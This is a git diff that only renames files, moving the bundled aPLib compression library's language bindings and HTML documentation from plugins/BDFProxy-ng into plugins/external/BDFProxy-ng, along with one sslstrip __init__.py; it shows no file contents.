plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.cpp diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.res diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplib.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibu.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aplibud.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dof diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.dpr diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/aptest.res diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/makefile diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.dfm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/delphi/t_main.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/AssemblyInfo.cs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/IbsenSoftware/aPLib/DllInterface.cs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/appack.cs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/dotnet/mk.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/ap.ico diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/aplib.inc diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm diff --git a/plugins/sergio_proxy/sslstrip/__init__.py b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/python/__init__.py similarity index 100% rename from plugins/sergio_proxy/sslstrip/__init__.py rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/python/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/sidebar.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/sidebar.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/sidebar.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/sidebar.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/underscore.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/underscore.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/underscore.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/underscore.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/up-pressed.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/up-pressed.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/up-pressed.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/up-pressed.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/up.png b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/up.png similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/up.png rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/up.png diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/websupport.js b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/websupport.js similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/websupport.js rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/_static/websupport.js diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/changes.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/changes.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/changes.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/changes.html diff --git a/plugins/BDFProxy-ng/bdf/aPLib/doc/html/compression.html b/plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/compression.html similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/doc/html/compression.html rename to plugins/external/BDFProxy-ng/bdf/aPLib/doc/html/compression.html diff 